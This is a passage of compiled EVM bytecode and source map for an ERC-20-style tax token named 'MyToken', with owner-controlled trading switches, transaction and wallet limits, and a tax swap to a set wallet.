ffffffffffffffffff16610e8a610deb565b73ffffffffffffffffffffffffffffffffffffffff1614610ee0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed790613c00565b60405180910390fd5b80600e60006101000a81548160ff02191690831515021790555050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610f905750610f60610deb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610fe65750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561107b5760025482600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110399190613e7e565b111561107a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107190613b80565b60405180910390fd5b5b611086338484611990565b6001905092915050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000806000601254925060135491506004549050909192565b611107611988565b73ffffffffffffffffffffffffffffffffffffffff16611125610deb565b73ffffffffffffffffffffffffffffffffffffffff161461117b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117290613c00565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e290613ae0565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61128f611988565b73ffffffffffffffffffffffffffffffffffffffff166112ad610deb565b73ffffffffffffffffffffffffffffffffffffffff1614611303576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fa90613c00565b60405180910390fd5b6064600161130f610933565b6113199190614076565b6113239190613ed4565b811115611365576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135c90613bc0565b60405180910390fd5b6009600a6113739190613f58565b8161137e9190614076565b60058190555050565b6000600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611416611988565b73ffffffffffffffffffffffffffffffffffffffff16611434610deb565b73ffffffffffffffffffffffffffffffffffffffff161461148a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148190613c00565b60405180910390fd5b60005b82518110156115405781600860008584815181106114d4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611538906141c2565b91505061148d565b505050565b61154d611988565b73ffffffffffffffffffffffffffffffffffffffff1661156b610deb565b73ffffffffffffffffffffffffffffffffffffffff16146115c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b890613c00565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611631576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162890613b20565b60405180910390fd5b61163a81612a76565b50565b611645611988565b73ffffffffffffffffffffffffffffffffffffffff16611663610deb565b73ffffffffffffffffffffffffffffffffffffffff16146116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613c00565b60405180910390fd5b80600f8190555050565b600e60019054906101000a900460ff1681565b6116de611988565b73ffffffffffffffffffffffffffffffffffffffff166116fc610deb565b73ffffffffffffffffffffffffffffffffffffffff1614611752576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174990613c00565b60405180910390fd5b8060108190555060105460118190555050565b600080600080601054935060115492506002549150600354905090919293565b6001600e60016101000a81548160ff0219169083151502179055506001600e60026101000a81548160ff021916908315150217905550565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561182d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182490613c20565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561189d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189490613b00565b60405180910390fd5b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161197b9190613cc0565b60405180910390a3505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f790613ca0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6790613ac0565b60405180910390fd5b60008111611ab3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aaa90613be0565b60405180910390fd5b600e60019054906101000a900460ff16611c5057600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b685750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611bbc5750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611c105750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611c4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4690613c60565b60405180910390fd5b5b600e60019054906101000a900460ff16158015611cbb5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d155750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611d6a57600e60029054906101000a900460ff16611d69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6090613c40565b60405180910390fd5b5b600060019050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611dff5750611dd0610deb565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611f1b5781600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611e5391906140d0565b9250508190555081600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ea99190613e7e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f0d9190613cc0565b60405180910390a350612a71565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611fc25750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120015750611fd1610deb565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561209b5760045482111561204b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204290613ba0565b60405180910390fd5b6001600e60056101000a81548160ff021916908315150217905550600e60009054906101000a900460ff16801561208c575060055461208930610cf8565b10155b1561209a57612099612b3a565b5b5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121425750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121815750612151610deb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156121cc576003548211156121cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c290613aa0565b60405180910390fd5b5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061226d5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561227757600090505b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156123235750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561232d57600090505b80156128df57600e60059054906101000a900460ff166126055760006064601154846123599190614076565b6123639190613ed4565b90506000818461237391906140d0565b90506123c782600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ca190919063ffffffff16565b600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061245c84600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cff90919063ffffffff16565b600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124f181600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ca190919063ffffffff16565b600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516125919190613cc0565b60405180910390a33073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516125f69190613cc0565b60405180910390a350506128da565b60006064601354846126179190614076565b6126219190613ed4565b90506000818461263191906140d0565b905061268582600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ca190919063ffffffff16565b600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061271a84600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cff90919063ffffffff16565b600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127af81600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ca190919063ffffffff16565b600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161284f9190613cc0565b60405180910390a33073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516128b49190613cc0565b60405180910390a36000600e60056101000a81548160ff02191690831515021790555050505b612a6f565b61293182600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cff90919063ffffffff16565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129c682600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ca190919063ffffffff16565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612a669190613cc0565b60405180910390a35b505b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000612b4530610cf8565b90506000811115612c6357600e60039054906101000a900460ff1615612c5e576000811115612c225760006064600f54612b7e30610cf8565b612b889190614076565b612b929190613ed4565b90506000819050612ba281612d49565b60004790506000811115612c1a57600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612c18573d6000803e3d6000fd5b505b505050612c5d565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c5490613c80565b60405180910390fd5b5b612c9e565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c9590613b60565b60405180910390fd5b50565b6000808284612cb09190613e7e565b905083811015612cf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cec90613b40565b60405180910390fd5b8091505092915050565b6000612d4183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061300d565b905092915050565b6000600267ffffffffffffffff811115612d8c577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015612dba5781602001602082028036833780820191505090505b5090503081600081518110612df8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612e9a57600080fd5b505afa158015612eae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ed29190613184565b81600181518110612f0c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612f7330600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117bd565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612fd7959493929190613cdb565b600060405180830381600087803b158015612ff157600080fd5b505af1158015613005573d6000803e3d6000fd5b505050505050565b6000838311158290613055576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161304c9190613a7e565b60405180910390fd5b506000838561306491906140d0565b9050809150509392505050565b600061308461307f84613dfd565b613dcc565b905080838252602082019050828560208602820111156130a357600080fd5b60005b858110156130d357816130b988826130dd565b8452602084019350602083019250506001810190506130a6565b5050509392505050565b6000813590506130ec816142b6565b92915050565b600081519050613101816142b6565b92915050565b600082601f83011261311857600080fd5b8135613128848260208601613071565b91505092915050565b600081359050613140816142cd565b92915050565b600081359050613155816142e4565b92915050565b60006020828403121561316d57600080fd5b600061317b848285016130dd565b91505092915050565b60006020828403121561319657600080fd5b60006131a4848285016130f2565b91505092915050565b600080604083850312156131c057600080fd5b60006131ce858286016130dd565b92505060206131df858286016130dd565b9150509250929050565b6000806000606084860312156131fe57600080fd5b600061320c868287016130dd565b935050602061321d868287016130dd565b925050604061322e86828701613146565b9150509250925092565b6000806040838503121561324b57600080fd5b6000613259858286016130dd565b925050602061326a85828601613131565b9150509250929050565b6000806040838503121561328757600080fd5b6000613295858286016130dd565b92505060206132a685828601613146565b9150509250929050565b600080604083850312156132c357600080fd5b600083013567ffffffffffffffff8111156132dd57600080fd5b6132e985828601613107565b92505060206132fa85828601613131565b9150509250929050565b60006020828403121561331657600080fd5b600061332484828501613131565b91505092915050565b60006020828403121561333f57600080fd5b600061334d84828501613146565b91505092915050565b60008060006060848603121561336b57600080fd5b600061337986828701613146565b935050602061338a86828701613146565b925050604061339b86828701613146565b9150509250925092565b60006133b183836133bd565b60208301905092915050565b6133c681614104565b82525050565b6133d581614104565b82525050565b60006133e682613e39565b6133f08185613e5c565b93506133fb83613e29565b8060005b8381101561342c57815161341388826133a5565b975061341e83613e4f565b9250506001810190506133ff565b5085935050505092915050565b61344281614116565b82525050565b61345181614159565b82525050565b6134608161417d565b82525050565b600061347182613e44565b61347b8185613e6d565b935061348b81856020860161418f565b61349481614298565b840191505092915050565b60006134ac601c83613e6d565b91507f42757920616d6f756e742065786365656473206d6178206c696d6974000000006000830152602082019050919050565b60006134ec602583613e6d565b91507f4d79546f6b656e3a207472616e7366657220746f20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613552600f83613e6d565b91507f496e76616c6964206164647265737300000000000000000000000000000000006000830152602082019050919050565b6000613592602483613e6d565b91507f4d79546f6b656e3a20617070726f766520746f20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006135f8602683613e6d565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061365e601b83613e6d565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b600061369e601c83613e6d565b91507f4e6f2042616c616e636520617661696c61626c6520746f2073776170000000006000830152602082019050919050565b60006136de603b83613e6d565b91507f4d79546f6b656e3a20726563697069656e742077616c6c65742062616c616e6360008301527f65206578636565647320746865206d6178696d756d206c696d697400000000006020830152604082019050919050565b6000613744601d83613e6d565b91507f53656c6c20616d6f756e742065786365656473206d6178206c696d69740000006000830152602082019050919050565b6000613784602983613e6d565b91507f496e76616c69642076616c75653a2065786365656473203125206f6620746f7460008301527f616c20737570706c7900000000000000000000000000000000000000000000006020830152604082019050919050565b60006137ea603283613e6d565b91507f4d79546f6b656e3a207472616e7366657220616d6f756e74206d75737420626560008301527f2067726561746572207468616e207a65726f00000000000000000000000000006020830152604082019050919050565b6000613850602083613e6d565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000613890602683613e6d565b91507f4d79546f6b656e3a20617070726f76652066726f6d20746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006138f6602083613e6d565b91507f5472616e7366657273206172652063757272656e746c792064697361626c65646000830152602082019050919050565b6000613936601183613e6d565b91507f7765206e6f74206c61756e6368207965740000000000000000000000000000006000830152602082019050919050565b6000613976601b83613e6d565b91507f4e6f20746f6b656e7320617661696c61626c6520746f207377617000000000006000830152602082019050919050565b60006139b6602783613e6d565b91507f4d79546f6b656e3a207472616e736665722066726f6d20746865207a65726f2060008301527f61646472657373000000000000000000000000000000000000000000000000006020830152604082019050919050565b613a1881614142565b82525050565b613a278161414c565b82525050565b6000602082019050613a4260008301846133cc565b92915050565b6000602082019050613a5d6000830184613439565b92915050565b6000602082019050613a786000830184613448565b92915050565b60006020820190508181036000830152613a988184613466565b905092915050565b60006020820190508181036000830152613ab98161349f565b9050919050565b60006020820190508181036000830152613ad9816134df565b9050919050565b60006020820190508181036000830152613af981613545565b9050919050565b60006020820190508181036000830152613b1981613585565b9050919050565b60006020820190508181036000830152613b39816135eb565b9050919050565b60006020820190508181036000830152613b5981613651565b9050919050565b60006020820190508181036000830152613b7981613691565b9050919050565b60006020820190508181036000830152613b99816136d1565b9050919050565b60006020820190508181036000830152613bb981613737565b9050919050565b60006020820190508181036000830152613bd981613777565b9050919050565b60006020820190508181036000830152613bf9816137dd565b9050919050565b60006020820190508181036000830152613c1981613843565b9050919050565b60006020820190508181036000830152613c3981613883565b9050919050565b60006020820190508181036000830152613c59816138e9565b9050919050565b60006020820190508181036000830152613c7981613929565b9050919050565b60006020820190508181036000830152613c9981613969565b9050919050565b60006020820190508181036000830152613cb9816139a9565b9050919050565b6000602082019050613cd56000830184613a0f565b92915050565b600060a082019050613cf06000830188613a0f565b613cfd6020830187613457565b8181036040830152613d0f81866133db565b9050613d1e60608301856133cc565b613d2b6080830184613a0f565b9695505050505050565b6000606082019050613d4a6000830186613a0f565b613d576020830185613a0f565b613d646040830184613a0f565b949350505050565b6000608082019050613d816000830187613a0f565b613d8e6020830186613a0f565b613d9b6040830185613a0f565b613da86060830184613a0f565b95945050505050565b6000602082019050613dc66000830184613a1e565b92915050565b6000604051905081810181811067ffffffffffffffff82111715613df357613df2614269565b5b8060405250919050565b600067ffffffffffffffff821115613e1857613e17614269565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613e8982614142565b9150613e9483614142565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613ec957613ec861420b565b5b828201905092915050565b6000613edf82614142565b9150613eea83614142565b925082613efa57613ef961423a565b5b828204905092915050565b6000808291508390505b6001851115613f4f57808604811115613f2b57613f2a61420b565b5b6001851615613f3a5780820291505b8081029050613f48856142a9565b9450613f0f565b94509492505050565b6000613f6382614142565b9150613f6e8361414c565b9250613f9b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613fa3565b905092915050565b600082613fb3576001905061406f565b81613fc1576000905061406f565b8160018114613fd75760028114613fe157614010565b600191505061406f565b60ff841115613ff357613ff261420b565b5b8360020a91508482111561400a5761400961420b565b5b5061406f565b5060208310610133831016604e8410600b84101617156140455782820a9050838111156140405761403f61420b565b5b61406f565b6140528484846001613f05565b925090508184048111156140695761406861420b565b5b81810290505b9392505050565b600061408182614142565b915061408c83614142565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156140c5576140c461420b565b5b828202905092915050565b60006140db82614142565b91506140e683614142565b9250828210156140f9576140f861420b565b5b828203905092915050565b600061410f82614122565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006141648261416b565b9050919050565b600061417682614122565b9050919050565b600061418882614142565b9050919050565b60005b838110156141ad578082015181840152602081019050614192565b838111156141bc576000848401525b50505050565b60006141cd82614142565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614200576141ff61420b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b6142bf81614104565b81146142ca57600080fd5b50565b6142d681614116565b81146142e157600080fd5b50565b6142ed81614142565b81146142f857600080fd5b5056fea26469706673582212208ceb164f1058724ac0ecf35c0e92a6eac9f7afdb22833ab6bdb14d02a73b038c64736f6c63430008000033
Deployed Bytecode Sourcemap
4532:11707:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5114:63;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6754:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8724:159;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16080:154;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5294:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7035:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8891:262;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6944:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15644:274;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5342:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7272:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14859:120;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14719:132;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7145:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2720:94;;;;;;;;;;;;;:::i;:::-;;5606:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6659:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2497:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5537:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6849:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15197:89;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8142:423;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7404:112;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7856:276;;;;;;;;;;;;;:::i;:::-;;;;;;;;;:::i;:::-;;;;;;;;14395:206;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15414:222;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8573:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14987:202;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2822:192;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15294:112;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5572:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15926:144;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7524:324;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;:::i;:::-;;;;;;;;14610:101;;;;;;;;;;;;;:::i;:::-;;5114:63;;;;;;;;;;;;;:::o;6754:83::-;6791:13;6824:5;;;;;;;;;;;;;;;;;6817:12;;6754:83;:::o;8724:159::-;8799:4;8816:37;8825:10;8837:7;8846:6;8816:8;:37::i;:::-;8871:4;8864:11;;8724:159;;;;:::o;16080:154::-;2643:12;:10;:12::i;:::-;2632:23;;:7;:5;:7::i;:::-;:23;;;2624:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16173:10:::1;16155:15;:28;;;;16211:15;;16194:14;:32;;;;16080:154:::0;:::o;5294:41::-;;;;;;;;;;;;;:::o;7035:100::-;7088:7;7115:12;;7108:19;;7035:100;:::o;8891:262::-;8989:4;9006:70;9015:6;9023:10;9069:6;9035:11;:19;9047:6;9035:19;;;;;;;;;;;;;;;:31;9055:10;9035:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;9006:8;:70::i;:::-;9087:36;9097:6;9105:9;9116:6;9087:9;:36::i;:::-;9141:4;9134:11;;8891:262;;;;;:::o;6944:83::-;6985:5;4791:1;7003:16;;6944:83;:::o;15644:274::-;2643:12;:10;:12::i;:::-;2632:23;;:7;:5;:7::i;:::-;:23;;;2624:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4791:1:::1;15785:2;:13;;;;:::i;:::-;15773:9;:25;;;;:::i;:::-;15760:10;:38;;;;4791:1;15840:2;:13;;;;:::i;:::-;15825:12;:28;;;;:::i;:::-;15809:13;:44;;;;4791:1;15897:2;:13;;;;:::i;:::-;15881;:29;;;;:::i;:::-;15864:14;:46;;;;15644:274:::0;;;:::o;5342:28::-;;;;;;;;;;;;;:::o;7272:124::-;7337:4;7361:18;:27;7380:7;7361:27;;;;;;;;;;;;;;;;;;;;;;;;;7354:34;;7272:124;;;:::o;14859:120::-;2643:12;:10;:12::i;:::-;2632:23;;:7;:5;:7::i;:::-;:23;;;2624:68;;;;;;;;;;;;:::i;:::-